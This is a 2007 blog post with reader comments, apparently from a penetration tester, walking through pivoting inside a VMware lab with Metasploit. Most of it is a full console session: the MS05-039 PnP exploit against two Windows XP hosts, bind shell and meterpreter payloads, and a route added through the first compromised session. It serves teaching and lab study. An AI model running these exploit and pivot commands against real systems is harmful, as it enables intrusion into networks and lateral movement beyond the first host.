Thursday, September 6, 2007

Using Metasploit to pivot through a exploited host part 2


ok, got it figured out (yes Dean told me to change the port yesterday). if you were following along and just want the quick answer, its that you have to change the default port number (which is 4444) to something else for that 2nd shell. 4444 is tied up on your pivot host with your meterpreter session, so that makes sense....

let see it:

get your shell, see the internal network, add the route thru your meterpreter session, no change from yesterday :-)

cg@segfault:~/evil/msf3$ ./msfconsole

o 8 o o
8 8 8
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


=[ msf v3.1-dev
+ -- --=[ 217 exploits - 107 payloads
+ -- --=[ 17 encoders - 5 nops
=[ 41 aux

msf > use exploit/windows/smb/ms05_039_pnp
msf exploit(ms05_039_pnp) > set RHOST 192.168.170.129
RHOST => 192.168.170.129
msf exploit(ms05_039_pnp) > set TARGET 6
TARGET => 6
msf exploit(ms05_039_pnp) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms05_039_pnp) > exploit
[*] Started bind handler
[*] Connecting to the SMB service...
[*] Binding to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:192.168.170.129[\ntsvcs] ...
[*] Bound to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:192.168.170.129[\ntsvcs] ...
[*] Calling the vulnerable function...
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[+] Server did not respond, this is expected
[*] Meterpreter session 1 opened (192.168.170.1:56048 -> 192.168.170.129:4444)

meterpreter > route

Network routes
==============

Subnet Netmask Gateway
------ ------- -------
0.0.0.0 0.0.0.0 172.16.0.1
127.0.0.0 255.0.0.0 127.0.0.1
172.16.0.0 255.255.0.0 172.16.0.1
172.16.0.1 255.255.255.255 127.0.0.1
172.16.255.255 255.255.255.255 172.16.0.1
192.168.170.0 255.255.255.0 192.168.170.129
192.168.170.129 255.255.255.255 127.0.0.1
192.168.170.255 255.255.255.255 192.168.170.129
224.0.0.0 240.0.0.0 172.16.0.1
224.0.0.0 240.0.0.0 192.168.170.129
255.255.255.255 255.255.255.255 172.16.0.1
255.255.255.255 255.255.255.255 192.168.170.129

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0



AMD PCNET Family PCI Ethernet Adapter #2 - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:b1:cc:c4
IP Address : 172.16.0.1
Netmask : 255.255.0.0



AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:b1:cc:ba
IP Address : 192.168.170.129
Netmask : 255.255.255.0


meterpreter >
Background session 1? [y/N]
msf exploit(ms05_039_pnp) > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.170.1:56048 -> 192.168.170.129:4444

msf exploit(ms05_039_pnp) > route add 172.16.0.0 255.255.0.0 1
msf exploit(ms05_039_pnp) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
172.16.0.0 255.255.0.0 Session 1

The 2nd host is just a copy of the first host, so i am going to use the same exploit twice, but the key part is to change the port number for your 2nd shell.


msf exploit(ms05_039_pnp) > set RHOST 172.16.0.150
RHOST => 172.16.0.150
msf exploit(ms05_039_pnp) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(ms05_039_pnp) >
set LPORT 8899
LPORT => 8899
msf exploit(ms05_039_pnp) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.0.150 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE browser yes The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)


Payload options:

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 8899 yes The local port


Exploit target:

Id Name
-- ----
6 Windows XP SP1 English

msf exploit(ms05_039_pnp) > exploit
[*] Started bind handler
[*] Connecting to the SMB service...
[*] Binding to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:172.16.0.150[\ntsvcs] ...
[*] Bound to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:172.16.0.150[\ntsvcs] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 2 opened (Local Pipe -> Remote Pipe)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 172.16.0.150
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 172.161.0.1

C:\WINDOWS\system32>
Background session 2? [y/N] y
msf exploit(ms05_039_pnp) > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.170.1:56048 -> 192.168.170.129:4444
2 Command shell Local Pipe -> Remote Pipe

msf exploit(ms05_039_pnp) >



Screenshots

the first host, you can see the meterpreter session (port 4444) back to my host 192.168.170.1 and the connection to the internal host 172.16.0.150 on port 8899



2nd host where you can see the connection from host 1 172.16.0.1

CG

2 comments:

Anonymous said...

Chris,

Just curious. Now that you have changed the routing tables on your attacking host, can't you pivot any tool through your first victim by pointing it to that subnet. For example, can't you run a nessus scan by pointing to the 172.16.0 subnet? I thought that was the point of pivot.

If not, at least you can use autopwn to nmap the network.

Great work BTW. I have been meaning to do this but don't have the equipment and have not set up vmware for multiple subnets. Is your test network virtual or actual hardware?

Keep up the great content,
Cutaway

CG said...

we have actually just set up a route into that internal network thru our meterpreter session. we could also just use that host as a jump off point.

as i understand it, you have to run things thru the msfconsole to actually be able to use our new route, i've had no success getting nmap to scan that internal host but its something to play with.

autopwn should work though,

i set everything up in vmware, too lazy for actual hardware :-)

i gave the first host a 2nd nick, that was host only networking and gave it a 172. IP. hopefully the thinking isnt flawed with that. actually setting it up with hardware is the way to go to make sure that works as advertised.

hope that helps and let me know if i'm way off target on it (if i am, i'm sure someone will let me knwow